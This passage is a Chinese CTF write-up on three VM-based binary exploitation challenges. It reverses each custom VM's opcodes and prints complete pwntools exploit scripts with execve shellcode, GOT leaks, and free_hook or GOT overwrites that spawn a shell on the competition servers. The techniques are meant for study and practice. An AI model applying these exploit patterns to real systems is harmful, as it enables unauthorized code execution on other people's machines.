所以我们可以通过读出got里面的真实地址,计算onegadget和他的偏移,从而实现伪造真实地址为onegadget,这个技巧很常用。

首先我们需要将vm_stack劫持到bss上,因为离got表很近,便于操作,这里直接改那个data_heap的指针即可,改完后我们将libc_start_main的got给load出来,再add我们的offset,就可以得到onegadget的真实地址,接着再save回去,再次执行时就能getshell了,下面是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./vmpwn')
if local:
p = process('./vmpwn')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
# one = [0x45216,0x4526a,0xf02a4,0xf1147]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)
# bk(0x0000000000401D29)
bss = elf.bss()
libc_start_main = 0x20740
onegadget = 0xf1147
offset = 0xf1147-0x20740
py = ''
py += "push push save push load push add push save"
ru("Your program name:")
sl('King')
ru("Your instruction:")
sl(py)
data = [bss,-3,-22,offset,-15]
ru("Your stack data:")
py = ''
for i in data:
py += str(i)+" "
sl(py)

p.interactive()

2、再看一题ovm,ogeek线下赛的一道题:

除了canary,其他保护全开:

1、ida分析主逻辑

57795062225

57795063543

这里很明显可以看出来是vmpwn的题目,要我们输入opcode,然后去解答问题,一开始需要确定esp和pc的地址,我们设置为初始值0,然后这个程序没有对下标进行检查,导致数组下标上溢,这样我们可以操作got表,但是又因为got表不可改,所以我们要关注vm执行完后的read函数,这里往comment中读入了0x8c的内容,然后sendcomment:

57795078559

会发现是一个free的操作,所以我们可以往free_hook这边靠近。

先来分析主逻辑:

57795086898

这是跑虚拟机的函数,先得到opcode,然后执行相映射的函数即可:

57795091041

这部分就是我们的处理函数了,可以看到,很多的运算都在里面,这里把输入的每个code分为4部分:

opcode|参数3|参数2|参数1

也就是说,我们既有opcode又有数据参数。

这里就不一一介绍了,直接手撕提取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0x10
//reg[3] = a1; //写入数据
//a1是1字节的数据
0x20
// reg[3] = a1 == 0;
0x30
//reg[3] = memory[reg[1]] //读内存的操作
0x40
//memory[reg[1]] = reg[3]; //写内存的操作
0x50
//v1 = rsp;
//rsp = v1 + 1;
//stack[rsp] = reg[3]; //写入数据到栈上
0x60
//reg[3] = stack[--rsp] //从栈上读取数据
0x70
// reg[3] = reg[1]+reg[2]
0x80u:
//reg[3] = reg[2] - reg[1]
0x90u
// reg[3] = reg[1] & reg[2]
0xA0
// reg[3] = reg[1] | reg[2]
0xb0
// reg[3] = reg[1]^reg[2]
0xc0
// reg[3] = reg[2]<<reg[1]
0xd0
// reg[3] = reg[2]>>reg[1]
0xe0
//exit(0)
0xff
//printf("R%d: %X\n", i, reg[i]) 可以通过打印泄露出地址

这里我们重点需要使用到的就是读内存和写内存的操作,

reg[3] = a1和memory[reg[1]] = reg[3]可以实现写内存

reg[3] = memory[reg[1]]和printf(“R%d: %X\n”, i, reg[i])可以实现读内存并打印的功能

这里整理下思路就是:

1、通过负数偏移得到read函数的got表真实地址(分2段存储在2个寄存器中,高位和低位)

2、通过计算偏移,将read的got真实地址+偏移得到free_hook-8真实地址

3、将free_hook-8真实地址分2次写入到comment[0]位置处

4、再次read时,往free_hook-8(将要被free的地址)中写入/bin/sh\x00,在free_hook中system地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./ovm')
if local:
p = process('./ovm')
libc = elf.libc
else:
p = remote('112.126.103.14',9999)
libc = ELF('./libc-2.27.so')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def pwn():
read_offset = libc.sym['read']
system_offset = libc.sym['system']
__free_hook_offset = libc.sym['__free_hook']
offset = __free_hook_offset - 8 - read_offset
off1 = ((offset>>16)&0xff)
off2 = ((offset>>8)&0xff)
off3 = (offset&0xff)
offset_system_2_read = system_offset - read_offset
debug(0x0000000000000CFE)
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
print "offset-->" + hex(offset)
code = [
0x100d00ff,#r13 = 0xff
0x10020001,#r2 = 0x1
0x700d0d02,#r13 = r13 + r2 = 0x100
0x10010008,#r1 = 8
0xc00d0d01,#r13 = r13 << 8 = 0x10000
0x1001003e,#r1 = 0x3e
0x700d0d01,#r13 = r13 + r1 = 0x1003e
0x10010000,#r1 = 0
0x800d010d,#r13 = r1-r13 = 0xfffbffc2
0x60010000,#r1 = stack[-0x3e] 7f
0x60020000,#r2 = stack[-0x3d] xxxx
0x10030000+off1,#r3 = off1
0x10000008,#r0 = 8
0xc0030300,#r3 = r3<<r0
0xc0030300,#r3 = r3<<r0
0x10040000+off2,
0xc0040400,#r4 = r4<<r0
0x10050000+off3,
0x70060304,
0x70060605,#r6 = offset
0x70020206,#r2|r3 = free_hook-8 = read+offset
0x80070700,#r7 = r7-r0 = -8
0x40020007,#memory[-8] = r2
0x10080001,#r8 = 1
0x70080807,#r8 = r8 + r7 = -8 + 1 = -7
0x40010008,#memory[-7] = r1
0xff000000 #printf
]
ru("PCPC: ")
sl('0')
ru("SP: ")
sl('0')
ru("CODE SIZE: ")
sl(str(len(code)))
# d()
for i in code:
sleep(0.1)
sl(str(i))
addr1 = int(ru("R2")[-7:-3],16)
print "addr1--->" + hex(addr1)
addr2 = int(ru("R3")[-11:-3],16)
print "addr2--->" + hex(addr2)
addr = (addr1<<32) + addr2
free_hook = addr + 8
libc_base = free_hook - __free_hook_offset
system = libc_base + system_offset
print "system--->" + hex(system)
ru("HOW DO YOU FEEL AT OVM?\n")
sl('/bin/sh\x00'+p64(system))

pwn()

p.interactive()

这里面那个-0x1003e的偏移是计算出来的,算的是read和menmory之间的总距离/4得到。后面那个-8偏移就是menmory和comment之间的总距离/4,但是因为一次只能输入一个字节,所以需要借助移位运算来得到0x1003e,这一步麻烦一点,构造出来了后就可以得到真实地址了,然后利用真实地址之间的偏移不变,通过加法来得到free_hook-8的地址,从而能写入到comment中,实现改写free_hook,也可以直接写onegadget。

看下调试的信息:

57796854184

这是把真实地址给读出来了,放到了我们的寄存器上面

57796860727

将偏移给写到寄存器上,然后相加得到free_hook-8的地址:

57796868573

接着写到我们的comment中:

57796874430

再次输入时,就可以覆盖了:

57796883342

最后稳定getshell了:

57796885687

以上就是对于ogeek线下赛的一道pwn题的复现,总体总结的话,就是对vmpwn的再次深入理解和感受,找到opcode搞清楚逻辑,然后找到任意地址写和任意地址读,通过printf函数和read函数去实现我们的漏洞利用不会的时候就利用debug操作一步步磨

记住无符数(unsigned int在没有检查下标的情况下,有整数溢出的漏洞存在!)

3、红帽杯线下赛:粤湾银行

首先在vm的初始化过程中,进行枚举结构分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v0 = malloc(44u);
v1 = v0;
v0[0] = 0;//cpu
v0[1] = 0;//cpu+4
v0[2] = 0;//cpu+8
v0[3] = 0;//cpu+12 任意地址读写的关键寄存器
v0[4] = 0;//cpu+16
v0[5] = 0;//cpu+20
v0[6] = v0[10] + 0xFC;//cpu+24 esp
v0[7] = v0[10] + 0xFC;//cpu+28 ebp
v0[8] = 0;//cpu+32,相当于eip,指向vm_code起始指针
v0[9] = 0;//cpu+36
v0[10] = calloc(4u, 0x40u);//cpu+40 栈大小
return v0;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//opcode|value1|value2|value3
0x73
stack[--rsp] = value1
eip += 5
0x70
stack[--rsp] = [ptr+value1]
eip += 2
0x30
--[ptr+value1]
eip += 2
0x53
[ptr+value1] -= value2
eip += 6
0x50
[ptr+value1] -= [ptr+value2]
eip += 3
0x63
[ptr+value1] *= value2
eip += 6
0x60
[ptr+value1] *= [ptr+value2]
eip += 3
0x40
[ptr+value1] += [ptr+value2]
eip += 3
0x43
[ptr+value1] += value2
eip += 6
0x10
if value1==1:
v11 = r3
putchar(v11)
eip += 2
else
[r3] = getchar()
eip += 2
0x20
++[ptr+value1]
eip += 2
0x0
ptr[value1] = ptr[value2]
eip += 3
0x01
ptr[value1] = ptr[value2]+value3 //地址
eip += 4
0x02
ptr[value1]+value2 = ptr[value3]
eip += 4
0x3
ptr[value1] = value2
eip += 6
0x04
ptr[value1]+value2 = value3
eip += 7
0x80
ptr[value1]=stack[esp++]
eip += 2

这里分析的差不多了,可以知道,这道vm的题,基本的功能都出来了,我们还可以进行一个结构体的构造工作:

image-20200107133231736

这样就比较清晰了,我们只分析关键的寄存器和关键处理的漏洞函数。

image-20200107131815516

这里是很明显的任意地址读和任意地址写,但是是putchar和getchar这种单字节的输入和输出,但是是关键了,这里我们需要往r3寄存器中写入我们的值才行。

1
2
3
0x3
ptr[value1] = value2
eip += 6

这里刚好有我们需要的指令,这是往偏移处的寄存器中写入我们的内容,所以我们可以往r3中写入我们想要的东西了,然后我们通过putchar和getchar就可以实现任意地址读写了。这里我们选取atoi的got表,因为got表是可以改的~所以可以这么做。直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
# context(arch='amd64', os='linux')
context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn2')
if local:
p = process('./pwn2')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
# one = [0x45216,0x4526a,0xf02a4,0xf1147]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def input_vm_code(content):
ru("4.exit\n>>> ")
sl('1')
sd(content)
def free():
ru("4.exit\n>>> ")
sl('3')
def vm_start():
ru("4.exit\n>>> ")
sl('2')

atoi_got = 0x0804B038
py = ''
py += p8(0x3) + p8(0x3) + p32(atoi_got) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got+1) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got+2) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got+3) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(atoi_got+1) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(atoi_got+2) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(atoi_got+3) + p8(0x10) + p8(0x0)
py += p8(0xB0)
input_vm_code(py)
vm_start()
atoi_addr = u32(rc(4))
print "atoi_addr--->" + hex(atoi_addr)
libc_base = atoi_addr - libc.sym["atoi"]
system = libc_base + libc.sym["system"]
print "system--->" + hex(system)
for i in range(4):
sd(p8((system>>(i*8))&0xff))
ru("4.exit\n>>> ")
sl('/bin/sh\x00')
p.interactive()

这题还是相对简单的,但是如果我们把它换成一个题目呢?got表如果不可改,又会怎么样呢?我们只能通过修改free_hook,然后覆盖成oengadget去打,当打不通时,就需要system了,但是需要往地址处写入/bin/sh,这时候就要用到bss地址,然后将r10寄存器地址写成bss地址即可实现完美getshell,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
# context(arch='amd64', os='linux')
context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn2')
if local:
p = process('./pwn2')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
# one = [0x45216,0x4526a,0xf02a4,0xf1147]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def input_vm_code(content):
ru("4.exit\n>>> ")
sl('1')
sd(content)
def free():
ru("4.exit\n>>> ")
sl('3')
def vm_start():
ru("4.exit\n>>> ")
sl('2')

atoi_got = 0x0804B038
py = ''
py += p8(0x3) + p8(0x3) + p32(atoi_got) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got+1) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got+2) + p8(0x10) + p8(0x1)
py += p8(0x3) + p8(0x3) + p32(atoi_got+3) + p8(0x10) + p8(0x1)
py += p8(0xB0)
input_vm_code(py)
vm_start()
atoi_addr = u32(rc(4))
print "atoi_addr--->" + hex(atoi_addr)
libc_base = atoi_addr - libc.sym["atoi"]
system = libc_base + libc.sym["system"]
print "system--->" + hex(system)
free_hook = libc_base + libc.sym["__free_hook"]
print "free_hook--->" + hex(free_hook)
bss = elf.bss()+0x100
py = ''
py += p8(0x3) + p8(0x3) + p32(free_hook) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(free_hook+1) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(free_hook+2) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(free_hook+3) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(bss) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(bss+1) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(bss+2) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(0x3) + p32(bss+3) + p8(0x10) + p8(0x0)
py += p8(0x3) + p8(10) + p32(bss)
py += p8(0xB0)
input_vm_code(py)
vm_start()
for i in range(4):
sd(p8((system>>(i*8))&0xff))
sleep(0.1)
string = "sh\x00\x00"
for i in string:
sd(i)
free()
p.interactive()

总结vm下的pwn题:

1、通过数组下标溢出(普通型,整数溢出型),实现任意地址读和任意地址写

2、通过任意地址读和任意地址写

关键就是以下几步:

1、分析vm的逻辑,构建出结构体,理清楚后找关键函数,一般是找任意地址读和任意地址写的函数,然后再找赋值的函数即可,如果没有直接赋值的函数就那就是通过栈的push和pop实现数据传递。

2、将payload根据我们的opcode和handle的映射关系转成vm_code,作为我们的输入

参考链接:

https://zszcr.github.io/2019/01/13/2019-11-13-%E9%80%86%E5%90%91%E8%99%9A%E6%8B%9F%E6%9C%BA%E4%BF%9D%E6%8A%A4%E5%AD%A6%E4%B9%A0/

0%